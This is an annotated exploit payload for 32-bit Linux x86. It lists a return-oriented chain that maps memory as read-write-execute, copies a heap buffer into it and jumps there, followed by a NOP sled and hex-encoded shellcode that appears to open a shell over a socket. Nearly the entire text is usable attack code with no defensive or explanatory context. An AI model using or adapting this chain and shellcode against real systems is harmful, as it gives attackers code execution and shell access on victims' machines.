080490dc : mmap();
0804bda4 : pop pop pop pop pop pop ret
00020000 : address to mmap() 
000f0000 : size
00000007 : rwx protections
00000022 : map to memory region
00000000 : null arg
00000000 : null arg
080491ec : memcpy
00020000 : return to mmap() area
00020000 : dest
4010e3c1 : src (our heap buffer)
00001000 : size 
00020000 : one more ret for good luck
90909090 : nop zone for regular code
90909090 : any linux x86 shellcode
90909090 : can follow from here...
4353db31      
6a026a53      
e1895866      
599380cd
80cd3fb0 
5bf97949     
0201685a 
68660403
6643ffff
b0e18953      
53515066
cd43e189
2f685280     
6868732f
6e69622f     
5352e389
0bb0e189
680080cd
20706165      
72646461
3025203a
000a7838
6e6e7572
20676e69
6d6f7266
61656820
